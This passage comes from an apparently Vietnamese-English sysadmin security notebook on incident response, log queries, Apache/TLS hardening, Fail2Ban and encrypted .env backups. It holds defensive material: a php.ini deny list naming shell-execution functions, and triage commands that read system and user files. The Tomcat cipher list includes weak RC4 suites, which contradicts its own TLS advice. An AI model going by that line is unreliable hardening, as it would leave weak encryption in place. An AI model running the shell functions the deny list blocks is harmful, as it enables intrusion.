aws iam put-role-policy --role-name <ROLE> --policy-name DenyAll --policy-document '{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*"
    }
  ]
}'
```

* Remove block

```
aws iam delete-role-policy --role-name <ROLE>
--policy-name DenyAll
```

* Block user

```
aws iam put-user-policy --user-name <USER> --policy-name DenyAll --policy-document '{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*"
    }
  ]
}'
```

* Remove block

```
aws iam delete-user-policy --user-name <USER>
--policy-name DenyAll
```

* Disable access key

```
aws iam update-access-key --access-key-id <Access_Key> --status Inactive --user-name user
```

#### VPC flow Logs

* List reject requests by IP

```
filter action="REJECT" | stats
count(*) as numRejections by
srcAddr | sort numRejections
desc
```

* List requests originating from a specific ip

```
filter srcAddr = "192.0.2.1" |
fields @timestamp, interfaceId,
dstAddr, dstPort, action
```

* List outgoing requests from a specific IP

```
filter srcAddr = "10.1.1.1" | stats
count(*) as numConnections by
dstAddr | sort numConnections
desc
```

* List reject requests

```
filter action="REJECT" and
srcAddr like /^10\./ | stats
count(*) as numRejections by
srcAddr | sort numRejections
desc
```


# Command line

A few command line used

**With Iptables**

* Block Ip, Subnet all in coming

```
iptables -A INPUT -s <ranger-ip> -j DROP
```

* Block DDos DNS Attack

```
iptables -A INPUT -p udp -m length --length 56 -j DROP
```

### On Windows

C. Đánh giá nhanh với hệ thống Windows\*\*

1\. Check kiểm tra sự kiện nhật ký với

```
eventvwr
```

2\. Kiêm tra cấu hình mạng bằng cách sử dụng:

```
arp -a
```

```
netstat -nr
```

3\. Kiểm tra lại các cổng mở và các kết nối liên quan

```
netstat –nao, netstat –vb, net session, net use
```

4\. Kiểm tra nhóm người dùng và quản trị hệ thống

```
lusrmgr, net users, net localgroup administrators, net group administrators
```

5\. Kiểm tra về job, scheduled

```
schtasks
```

6\. Kiểm tra về autostart

```
msconfig
```

7\. Đánh giá kiểm tra sơ bộ về process

```
askmgr, wmic process list full
```

8\. Các services đang chạy trên hệ thống

```
net start, tasklist /svc
```

9\. Kiểm tra DNS và cấu hình file hosts trên hệ thống

```
ipconfig /all, ipconfig /displaydns, more %SystemRoot%\System32\Drivers\etc\hosts
```

10\. Check kiểm tra file hệ thống

```
sigverif
```

11\. Tìm kiếm các file bị thay đổi trên hệ thống

```
dir /a/o-d/p %SystemRoot%\System32
```

### **On Unix**

1\. Kiểm tra đánh giá toàn bộ các file log trong các thư mục bên dưới

```
/var/log, /var/adm, /var/spool
```

2\. Chạy các lệnh kiểm tra log bảo mật trên hệ thống

```
wtmp, who, last, lastlog
```

3\. Check kiểm tra network

```
arp –an, route print
```

4\. Kiểm tra port mạng và kết nối

```
netstat –nap (Linux), netstat –na (Solaris), lsof –i
```

5\. Check kiểm tra user

```
/etc/passwd
```

6\. Kiểm tra các tiến trình tự động

```
/etc/crontab
```

```
ls /etc/cron.*
```

```
ls /var/at/jobs
```

7\. Check kiểm tra DNS settings

```
more /etc/resolv.conf
```

```
more /etc/hosts
```

8\. Kiểm tra lại các gói đã cài đặt trên hệ thống

```
rpm -Va
```

```
pkgchk
```

9\. Kiểm tra autostarts

```
chkconfig --list
```

Với Solaris

```
ls /etc/rc*.d
```

10\. Kiểm tra các tiến trình đang chạy trên hệ thống

```
ps -aux
```

11\. Kiểm tra các file thay đổi gần đây

```
ls -lat
```

```
find / -mtime -2d -ls
```


# Add basic Authen with Cloudflare

If you have one site html but you want protect this site with user and password, you can use worker Cloudflare for protect it

Example worker below:

```


/**
 * Shows how to restrict access using the HTTP Basic schema.
 * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication
 * @see https://tools.ietf.org/html/rfc7617
 *
 * A user-id containing a colon (":") character is invalid, as the
 * first colon in a user-pass string separates user and password.
 */
const BASIC_USER = 'randomusername';
const BASIC_PASS = 'randompass';


addEventListener('fetch', event => {
  event.respondWith(
    handleRequest(event.request).catch(err => {
      const message = err.reason || err.stack || 'Unknown Error';

      return new Response(message, {
        status: err.status || 500,
        statusText: err.statusText || null,
        headers: {
          'Content-Type': 'text/plain;charset=UTF-8',
          // Disables caching by default.
          'Cache-Control': 'no-store',
          // Returns the "Content-Length" header for HTTP HEAD requests.
          'Content-Length': message.length,
        },
      });
    })
  );
});


/**
 * Receives a HTTP request and replies with a response.
 * @param {Request} request
 * @returns {Promise<Response>}
 */
async function handleRequest(request) {
  const { protocol, pathname } = new URL(request.url);

  // In the case of a Basic authentication, the exchange
  // MUST happen over an HTTPS (TLS) connection to be secure.
  if ('https:' !== protocol || 'https' !== request.headers.get('x-forwarded-proto')) {
    throw new BadRequestException('Please use a HTTPS connection.');
  }

  switch (pathname) {
    
    // case '/':
    //   return new Response('Anyone can access the homepage.');

    // case '/logout':
    //   // Invalidate the "Authorization" header by returning a HTTP 401.
    //   // We do not send a "WWW-Authenticate" header, as this would trigger
    //   // a popup in the browser, immediately asking for credentials again.
    //   return new Response('Logged out.', { status: 401 });

    default: {
      // The "Authorization" header is sent when authenticated.
      if (request.headers.has('Authorization')) {
        // Throws exception when authorization fails.
        const { user, pass } = basicAuthentication(request);
        if (verifyCredentials(user, pass)) {
            return await fetch(request)
        }
      } 
      // Not authenticated.
      return new Response('You need to login.', {
          status: 401,
          headers: {
            // Prompts the user for credentials.
            'WWW-Authenticate': 'Basic realm="Private Area", charset="UTF-8"',
          },
      });
    }

    case '/favicon.ico':
    case '/robots.txt':
      return new Response(null, { status: 204 });
  }

  return new Response('Not Found.', { status: 404 });
}

function verifyCredentials(user, pass) {
  if (BASIC_USER !== user || BASIC_PASS !== pass) {
      return false 
  }
  return true 
}

/**
 * Parse HTTP Basic Authorization value.
 * @param {Request} request
 * @throws {BadRequestException}
 * @returns {{ user: string, pass: string }}
 */
function basicAuthentication(request) {
  const Authorization = request.headers.get('Authorization');

  const [scheme, encoded] = Authorization.split(' ');

  // The Authorization header must start with Basic, followed by a space.
  if (!encoded || scheme !== 'Basic') {
    throw new BadRequestException('Malformed authorization header.');
  }

  // Decodes the base64 value and performs unicode normalization.
  // @see https://datatracker.ietf.org/doc/html/rfc7613#section-3.3.2 (and #section-4.2.2)
  // @see https://dev.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String/normalize
  const buffer = Uint8Array.from(atob(encoded), character => character.charCodeAt(0));
  const decoded = new TextDecoder().decode(buffer).normalize();

  // The username & password are split by the first colon.
  //=> example: "username:password"
  const index = decoded.indexOf(':');

  // The user & password are split by the first colon and MUST NOT contain control characters.
  // @see https://tools.ietf.org/html/rfc5234#appendix-B.1 (=> "CTL = %x00-1F / %x7F")
  if (index === -1 || /[\0-\x1F\x7F]/.test(decoded)) {
    throw new BadRequestException('Invalid authorization value.');
  }

  return {
    user: decoded.substring(0, index),
    pass: decoded.substring(index + 1),
  };
}

function UnauthorizedException(reason) {
  this.status = 401;
  this.statusText = 'Unauthorized';
  this.reason = reason;
}

function BadRequestException(reason) {
  this.status = 400;
  this.statusText = 'Bad Request';
  this.reason = reason;
}
```

This is the domain to be protected:

{% embed url="<https://worker.micsoftvn.com>" %}

### Create worker services

Step 1:

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2F1lB7MLTjSoPlDlVOjC9s%2FScreenshot%20from%202023-04-24%2017-13-10.png?alt=media&amp;token=9eb11ad6-26b6-486f-8955-cb70b814a8d2" alt=""><figcaption></figcaption></figure>

### Create trigger

Step 2: Create a trigger, add custom domain

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FW7Wkm9IJftpXKc20lstl%2FScreenshot%20from%202023-04-24%2017-16-19.png?alt=media&amp;token=ad528830-056f-403a-9590-6e7af1049450" alt=""><figcaption></figcaption></figure>

### Edit Services

Step 3: Edit Services, click Quick Edit button

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FM2F9k0h2T4Nv91thfxCh%2FScreenshot%20from%202023-04-24%2017-14-54.png?alt=media&amp;token=982789ff-22e2-4e4d-8216-11c95f0b4e86" alt=""><figcaption></figcaption></figure>

Save and deploy, then visit website : <https://worker.micsoftvn.com>

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FYETcjRFtFI2iJgfyh0ip%2FScreenshot%20from%202023-04-24%2017-29-30.png?alt=media&amp;token=65cd8bae-3f1c-458e-8644-3c1c3c903bf7" alt=""><figcaption></figcaption></figure>

REF link:

[https://workers.cloudflare.com\
https://developers.cloudflare.com/workers/examples/\
https://developers.cloudflare.com/workers/examples/basic-auth/](<https://workers.cloudflare.com&#xA;https://developers.cloudflare.com/workers/examples/&#xA;https://developers.cloudflare.com/workers/examples/basic-auth/>)


# Haderning Apache

Hướng dẫn haderning cơ bản cho Apache đảm bảo an toàn cho Web Services

#### 1. Xoá bỏ các Module không cần thiết

```bash
/usr/sbin/httpd -M
```

Loại bỏ các modules không cần thiết ( mod\_info, mod\_status, mod\_version, mod\_autoindex, mod\_dav ) bằng cách edit file : /etc/httpd/conf/httpd.conf

#### 2. Thay đổi các trang báo lỗi mặc định của Webservices

Add thêm các dòng bên dưới trong file : **httpd.conf**

```bash
ErrorDocument 400 /error.html
ErrorDocument 401 /error.html
ErrorDocument 402 /error.html
ErrorDocument 403 /error.html
ErrorDocument 404 /error.html
ErrorDocument 500 /error.html
ErrorDocument 501 /error.html
ErrorDocument 502 /error.html
```

#### 3. Xoá bỏ banner webservice và thông tin

Add thêm 2 dòng bên dưới trong file : **httpd.conf**

```bash
ServerSignature Off
ServerTokens Prod
```

#### 4. Giới hạn phương thức truyền lên

Thêm LimitExcept vào thêm trong thư mục Directory như bên dưới

```bash
<Directory "/var/www/web">
<LimitExcept GET POST HEAD>
Deny from all
</LimitExcept>
...
</Directory>
```

#### 5. Giới hạn không cho list file và folder trên thư mục web

Thêm Options -Indexes trong Tag Directory của web

```bash
<Directory "/var/www/web">
 Options -Indexes 
</Directory>
```

#### 6. Thiết lập run Webservices với quyền tối thiểu

Không cho phép user www-data được phép login

```bash
useradd –M www-data –s /bin/false
```

```bash
passwd –l www-data
```

#### 7. Phân quyền thư mục web

```bash
chown -R www-data: www-data /var/www 
find /var/www -type d | xargs chmod -R 755
find /var/www -type f  | xargs chmod -R 644
chown -R www-data:www-data
```

#### 8. Cho phép user www-data được phép run services

Tìm đến phần User và Group trong file **httpd.conf**

```bash
User root (Đổi thành user www-data)
Group root (Đổi thành group www-data)
```

#### 9. Thiết lập cấu hình không cho phép chạy CGI

Thêm Options –ExecCGI -Includes vào trong tag Directory chứa thư mục web

```bash
<Directory /var/www/web>
Options –ExecCGI -Includes
</Directory>
```

#### 10. Thiếp lập mã hoá Https

```bash
grep –i –r ”SSLProtocol” /etc/httpd
```

Chỉ cho phép sử dụng các giao thức SSL

Mở file : **/etc/httpd/conf.d/ssl.conf** và đổi thành như bên dưới

```bash
SSLProtocol all –SSLv2 –SSLv3
```

Thiết lập **SSLCipherSuite** như bên dưới

```bash
SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK:!SSLv3:!SSLv2
```

#### 11. Thiết lập cấu hình log Apache như bên dưới

```bash
LogFormat "%h %{X-Forwarded-For}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" tcbs_combined
```

#### 12. Thiết lập giới hạn php trong php.ini

```bash
open_basedir = /var/www:/path/to/first/folder:/path/to/second/folder
```

Trong đó : /path/to/first/folder và /path/to/second/folder là những thư mục php được phép tác động đến

#### 13. Loại bỏ các module nguy hiểm trong php

Thiết lập được thực hiện trong file **php.ini**

```bash
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,
curl_multi_exec,parse_ini_file,show_source, symlink
```

Check kiểm tra load module

```bash
php -m
```

* Lưu ý khi các thiết lập được cấu hình song cần restart lại dịch vụ


# Thiết lập ANTT cho TLS

#### A. Cấu hình thiết lập TLS

1. **Thiết lập đảm bảo sử dụng TLS 1.2 tắt bỏ SSLv3.0, TLSv1.0 and TLSv1.1**
2. **Thiết lập đảm bảo sử dụng cipher chuẩn theo như cipher bên dưới**

```

ECDHE-ECDSA-AES256-GCM-SHA384
ECDHE-RSA-AES256-GCM-SHA384
ECDHE-ECDSA-CHACHA20-POLY1305
ECDHE-RSA-CHACHA20-POLY1305
ECDHE-ECDSA-AES128-GCM-SHA256
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-ECDSA-AES256-SHA384
ECDHE-RSA-AES256-SHA384
ECDHE-ECDSA-AES128-SHA256
ECDHE-RSA-AES128-SHA256
```

#### B. Thiết lập cơ bản cho 1 số webservice

**1.Nginx**

```
ssl_protocols TLSv1.2;
ssl_ciphers 
'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256';
ssl_prefer_server_ciphers on;
```

**2.Apache**

```
SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          
ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder     on
SSLCompression          off
SSLSessionTickets       off
```

#### 3.Tomcat

```
sslEnabledProtocols="TLSv1.2"
ciphers="TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA,SSL_RSA_WITH_RC4_128_SHA"
```


# Check network traffic ( Ddos )

Các câu lệnh thường được dùng khi kiểm tra check lưu lượng request tới

1. `netstat` command:

```
netstat -na
```

```
netstat -an | grep :80 | sort
netstat -an | egrep ":80|:443" | sort
```

3. To see if many active `SYNC_REC` :

```
netstat -n -p|grep SYN_REC | wc -l
```

4. To list out all the IP addresses sending `SYNC_REC` statuses, use the command:

```
netstat -n -p | grep SYN_REC | sort -u
```

5. To further list all the unique IP addresses sending `SYNC_REC` statuses, use the command:

```
netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
```

```
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
```

```
netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
```

```
netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
```

```
netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1
```


# Tools


# Tools for AWS

A few tools usesd for AWS

<table><thead><tr><th></th><th width="379"></th></tr></thead><tbody><tr><td>URL</td><td>Content</td></tr><tr><td>https://github.com/ThreatResponse/aws_ir</td><td>AWS_IR: is a Python CLI tool used toautomate initial response actions</td></tr><tr><td>https://github.com/ThreatResponse/margaritashotgun</td><td>Margarita Shotgun is used to dump<br>memory from systems</td></tr><tr><td>https://www.sans.org/tools/sift-workstation/</td><td>SANS Investigative Forensic Toolkit<br>is an all-in-one forensic toolkit</td></tr><tr><td>https://github.com/Netflix-Skunkworks/diffy</td><td>Diffy is a tool for identifying changes<br>or differences in systems</td></tr><tr><td>https://github.com/aws-solutions/automated-forensic-orchestrator-for-amazon-ec2</td><td>Automatic Forensics Orchestrator<br>collects full snapshots of EC2 systems</td></tr><tr><td>https://github.com/osquery/osquery</td><td>OSQuery is an endpoint detection<br>and response tool</td></tr><tr><td>https://www.sans.org/tools/sof-elk/</td><td>SOF-ELK is an analytics platform focused<br>on the needs of computer forensics<br>and investigation teams</td></tr><tr><td>https://github.com/prowler-cloud/prowler</td><td>Prowler is a multi-purpose toolkit</td></tr><tr><td>https://github.com/keikoproj/kube-forensics</td><td>kube-forensics is used to dump<br>the running pod and all its containers</td></tr><tr><td>https://github.com/invictus-ir/Invictus-AWS</td><td>Invictus-AWS automatically enumerates<br>and acquires relevant data</td></tr></tbody></table>


# Fail2Ban Cheat Sheet

Note:

* When using Docker you can change the log driver to syslog

Typical file paths:

```
/etc/fail2ban/action.d/
/etc/fail2ban/jail.d/
/etc/fail2ban/filter.d/

```

Get Fail2Ban status and list all jails:

```
fail2ban-client status
```

List all IPs in a specific jail:

```
fail2ban-client status <JAIL-NAME>
```

Unban a specific IP from a jail:

```
fail2ban-client set <JAIL-NAME> unbanip <IP-ADDRESS>
```

Unban a IP from all jails:

```
fail2ban-client unban 49.179.29.27
```

Ban a specific IP in a jail:

```
fail2ban-client set <JAIL-NAME> banip <IP-ADDRESS>
```

Datefilter expression:

```
%%d/%%m/%%Y:%%H:%%M:%%S
```

Test a fail2ban regex when using Docker, Portainer, JSON logs:

```
fail2ban-regex /var/logDocker/de5c71e9daaa/de5c71e9daaa-json.log wordpress-custom.conf
```

Test a fail2ban filter within the container or on same host as fail2ban:

```
fail2ban-regex /var/log/syslog /data/filter.d/bad-bots.conf 
```

Example fail2ban filter test:

```
Running tests
=============

Use   failregex filter file : bad-bots, basedir: /data
Use      datepattern : .*- - %d/%m/%Y:%H:%M:%S : .*- - Day/Month/Year:24hour:Minute:Second
Use         log file : /var/log/syslog
Use         encoding : UTF-8

Results
=======

Failregex: 160 total
|-  #) [# of hits] regular expression
|   1) [160] ^.*F2B\[.*\]\: <HOST> - -.*(GET|POST).*HTTP.*(?:atSpider/1\.0|autoemailspider|China Local Browse 2\.6|ContentSmartz|DataCha0s/2\.0|DBrowse 1\.4b|DBrowse 1\.4d|Demo Bot DOT 16b|Demo Bot Z 16b|DSurf15a 01|DSurf15a 71|DSurf15a 81|DSurf15a VA|EBrowse 1\.4b|Educate Search VxB|EmailSiphon|EmailWolf 1\.00|ESurf15a 15|ExtractorPro|Franklin Locator 1\.8|FSurf15a 01|Full Web Bot 0416B|Full Web Bot 0516B|Full Web Bot 2816B|Industry Program 1\.0\.x|ISC Systems iRc Search 2\.1|IUPUI Research Bot v 1\.9a|LARBIN-EXPERIMENTAL \(efp@gmx\.net\)|LetsCrawl\.com/1\.0 +http\://letscrawl\.com/|Lincoln State Web Browser|LWP\:\:Simple/5\.803|Mac Finder 1\.0\.xx|MFC Foundation Class Library 4\.0|Microsoft URL Control - 6\.00\.8xxx|Missauga Locate 1\.0\.0|Missigua Locator 1\.9|Missouri College Browse|Mizzu Labs 2\.2|Mo College 1\.9|Mozilla/2\.0 \(compatible; NEWT ActiveX; Win32\)|Mozilla/3\.0 \(compatible; Indy Library\)|Mozilla/4\.0 \(compatible; Advanced Email Extractor v2\.xx\)|Mozilla/4\.0 \(compatible; Iplexx Spider/1\.0 http\://www\.iplexx\.at\)|Mozilla/4\.0 \(compatible; MSIE 5\.0; Windows NT; DigExt; DTS Agent|Mozilla/4\.0 efp@gmx\.net|Mozilla/5\.0 \(Version\: xxxx Type\:xx\)|MVAClient|NASA Search 1\.0|Nsauditor/1\.x|PBrowse 1\.4b|PEval 1\.4b|Poirot|Port Huron Labs|Production Bot 0116B|Production Bot 2016B|Production Bot DOT 3016B|Program Shareware 1\.0\.2|PSurf15a 11|PSurf15a 51|PSurf15a VA|psycheclone|RSurf15a 41|RSurf15a 51|RSurf15a 81|searchbot admin@google\.com|sogou spider|sohu agent|SSurf15a 11 |TSurf15a 11|Under the Rainbow 2\.2|User-Agent\: Mozilla/4\.0 \(compatible; MSIE 6\.0; Windows NT 5\.1\)|WebVulnCrawl\.blogspot\.com/1\.0 libwww-perl/5\.803|Wells Search II|WEP Search 00|EmailCollector|WebEMailExtrac|TrackBack/1\.02|sogou music spider|AhrefsBot|SeznamBot|SemrushBot|PetalBot|).*$
`-

Ignoreregex: 0 total

Date template hits:

Lines: 17168 lines, 0 ignored, 160 matched, 17008 missed
[processed in 1.82 sec]

Missed line(s): too many to print.  Use --print-all-missed to print all 17008 lines
```

Manually search a file for certain keywords:

```
cat /var/logDocker/de5c71e9daaa/de5c71e9daaa-json.log | grep apikey.php
```

Show list Banded

```
fail2ban-client status
fail2ban-client status nginx-access-limit
```


# Backup và mã hóa file env

Simple bashscript mã hóa và dùng cho việc backup file .env ngay trên gits, dùng cho việc quản lý và backup biến môi trường

```
#!/bin/bash

# Màu sắc giao diện cho đẹp và dễ nhìn
GREEN='\033[0;32m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
NC='\033[0m' # No Color

# File cấu hình mẫu
ENV_FILE=".env"
EXAMPLE_FILE=".env.example"
VAULT_FILE=".env.vault"
KEYS_FILE=".env.keys"

# Hàm hiển thị tiêu đề
show_header() {
    clear
    echo -e "${BLUE}==================================================${NC}"
    echo -e "${BLUE}     HỆ THỐNG QUẢN LÝ & BACKUP BIẾN MÔI TRƯỜNG     ${NC}"
    echo -e "${BLUE}==================================================${NC}"
}

# Hàm tạm dừng để xem kết quả
pause() {
    echo ""
    read -p "Nhấn [Enter] để quay lại Menu..."
}

# 1. Khởi tạo cấu hình ban đầu
init_project() {
    show_header
    echo -e "${YELLOW}[1/3] Kiểm tra & Cấu hình .gitignore...${NC}"
    
    # Tạo .gitignore nếu chưa có
    if [ ! -f ".gitignore" ]; then
        touch .gitignore
    fi

    # Thêm .env và .env.keys vào .gitignore nếu chưa có
    for file in "$ENV_FILE" "$KEYS_FILE"; do
        if ! grep -q "^$file$" .gitignore; then
            echo "$file" >> .gitignore
            echo -e "${GREEN}• Đã thêm $file vào .gitignore${NC}"
        else
            echo -e "• $file đã có trong .gitignore từ trước."
        fi
    done

    echo -e "\n${YELLOW}[2/3] Tạo file .env.example tự động...${NC}"
    if [ -f "$ENV_FILE" ]; then
        # Copy cấu hình nhưng xóa giá trị, giữ lại key
        awk -F= '{print $1 "="}' "$ENV_FILE" > "$EXAMPLE_FILE"
        echo -e "${GREEN}• Đã tạo/cập nhật $EXAMPLE_FILE thành công từ $ENV_FILE.${NC}"
    else
        echo -e "${RED}• Không tìm thấy file .env thô để tạo file mẫu.${NC}"
    fi

    echo -e "\n${YELLOW}[3/3] Kiểm tra môi trường Node.js...${NC}"
    if [ ! -f "package.json" ] && [ -d ".git" ]; then
        echo -e "${YELLOW}• Mẹo: Bản @dotenvx/dotenvx chạy trực tiếp qua npx không cần cài cứng vào package.json.${NC}"
    fi
    
    echo -e "\n${GREEN}==> HOÀN THÀNH KHỞI TẠO! Dự án đã sẵn sàng sử dụng dotenvx.${NC}"
    pause
}

# 2. Mã hóa file .env (Sử dụng OpenSSL AES-256-CBC — có sẵn trên mọi server)
build_vault() {
    show_header
    echo -e "${YELLOW}Đang tiến hành mã hóa file .env bằng OpenSSL AES-256...${NC}"
    if [ ! -f "$ENV_FILE" ]; then
        echo -e "${RED}Lỗi: Không tìm thấy file .env ở local để mã hóa!${NC}"
    else
        read -sp "Nhập mật khẩu mã hóa: " enc_pass
        echo ""
        read -sp "Xác nhận mật khẩu: " enc_pass2
        echo ""
        if [ "$enc_pass" != "$enc_pass2" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không khớp!${NC}"
        elif [ -z "$enc_pass" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không được để trống!${NC}"
        else
            openssl enc -aes-256-cbc -salt -pbkdf2 -in "$ENV_FILE" -out "$VAULT_FILE" -pass "pass:${enc_pass}"
            if [ $? -eq 0 ]; then
                echo -e "\n${GREEN}✓ Thành công! Đã mã hóa .env → ${VAULT_FILE}${NC}"
                echo -e "${YELLOW}Lưu ý: Commit file ${VAULT_FILE} lên Git để backup. KHÔNG commit .env gốc!${NC}"
            else
                echo -e "${RED}Lỗi: Quá trình mã hóa thất bại.${NC}"
            fi
        fi
    fi
    pause
}

# 3. Giải mã file .env.vault
decrypt_vault() {
    show_header
    echo -e "${YELLOW}Giải mã file ${VAULT_FILE}...${NC}"
    if [ ! -f "$VAULT_FILE" ]; then
        echo -e "${RED}Lỗi: Không tìm thấy file ${VAULT_FILE}!${NC}"
    else
        read -sp "Nhập mật khẩu giải mã: " dec_pass
        echo ""
        if [ -z "$dec_pass" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không được để trống!${NC}"
        else
            openssl enc -aes-256-cbc -d -pbkdf2 -in "$VAULT_FILE" -out "$ENV_FILE" -pass "pass:${dec_pass}"
            if [ $? -eq 0 ] && [ -s "$ENV_FILE" ]; then
                echo -e "\n${GREEN}✓ Giải mã thành công! Đã tái tạo file .env${NC}"
            else
                echo -e "${RED}Lỗi: Giải mã thất bại. Sai mật khẩu hoặc file bị hỏng.${NC}"
                rm -f "$ENV_FILE"
            fi
        fi
    fi
    pause
}

# 4. Backup file .env thủ công (OpenSSL)
backup_gpg() {
    show_header
    echo -e "${YELLOW}Sao lưu .env bằng OpenSSL AES-256...${NC}"
    if [ ! -f "$ENV_FILE" ]; then
        echo -e "${RED}Lỗi: Không có file .env để backup!${NC}"
    else
        backup_name=".env.$(date +%Y%m%d_%H%M%S).enc"
        read -sp "Nhập mật khẩu bảo vệ backup: " bk_pass
        echo ""
        if [ -z "$bk_pass" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không được để trống!${NC}"
        else
            openssl enc -aes-256-cbc -salt -pbkdf2 -in "$ENV_FILE" -out "$backup_name" -pass "pass:${bk_pass}"
            if [ $? -eq 0 ]; then
                echo -e "\n${GREEN}✓ Backup thành công! File: ${backup_name}${NC}"
                echo -e "${YELLOW}Lưu trữ file .enc này ở nơi an toàn.${NC}"
            else
                echo -e "${RED}Lỗi: Backup thất bại.${NC}"
            fi
        fi
    fi
    pause
}

# 5. Khôi phục file .env từ backup
restore_gpg() {
    show_header
    echo -e "${YELLOW}Khôi phục file .env từ backup...${NC}"
    
    files=(*.enc *.gpg)
    # Filter out non-existing glob patterns
    existing_files=()
    for f in "${files[@]}"; do
        [ -f "$f" ] && existing_files+=("$f")
    done

    if [ ${#existing_files[@]} -eq 0 ]; then
        echo -e "${RED}Không tìm thấy file backup (.enc/.gpg) nào!${NC}"
        pause
        return
    fi

    echo -e "${BLUE}Các file backup hiện có:${NC}"
    for i in "${!existing_files[@]}"; do
        echo -e " [$i] ${existing_files[$i]}"
    done

    read -p "Chọn số thứ tự file: " file_idx
    selected_file="${existing_files[$file_idx]}"

    if [ -f "$selected_file" ]; then
        read -sp "Nhập mật khẩu giải mã: " rs_pass
        echo ""
        openssl enc -aes-256-cbc -d -pbkdf2 -in "$selected_file" -out "$ENV_FILE" -pass "pass:${rs_pass}"
        if [ $? -eq 0 ] && [ -s "$ENV_FILE" ]; then
            echo -e "\n${GREEN}✓ Khôi phục thành công file .env!${NC}"
        else
            echo -e "${RED}Lỗi: Giải mã thất bại. Sai mật khẩu hoặc file lỗi.${NC}"
            rm -f "$ENV_FILE"
        fi
    else
        echo -e "${RED}Lựa chọn không hợp lệ!${NC}"
    fi
    pause
}

# Vòng lặp Menu chính
while true; do
    show_header
    echo -e " [1] Khởi tạo dự án (Cấu hình gitignore + .env.example)"
    echo -e " [2] Mã hóa .env (Tạo/Cập nhật .env.vault bằng OpenSSL)"
    echo -e " [3] Giải mã .env.vault (Cần nhập mật khẩu)"
    echo -e "--------------------------------------------------"
    echo -e " [4] Backup file .env (Mã hóa OpenSSL AES-256)"
    echo -e " [5] Khôi phục .env từ file backup"
    echo -e "--------------------------------------------------"
    echo -e " [0] Thoát chương trình"
    echo -e "${BLUE}==================================================${NC}"
    read -p "Vui lòng chọn một tính năng [0-5]: " choice

    case $choice in
        1) init_project ;;
        2) build_vault ;;
        3) decrypt_vault ;;
        4) backup_gpg ;;
        5) restore_gpg ;;
        0) 
            echo -e "${GREEN}Cảm ơn bạn đã sử dụng. Tạm biệt!${NC}"
            exit 0 
            ;;
        *) 
            echo -e "${RED}Lựa chọn không hợp lệ, vui lòng thử lại!${NC}"
            sleep 1
            ;;
    esac
done
```


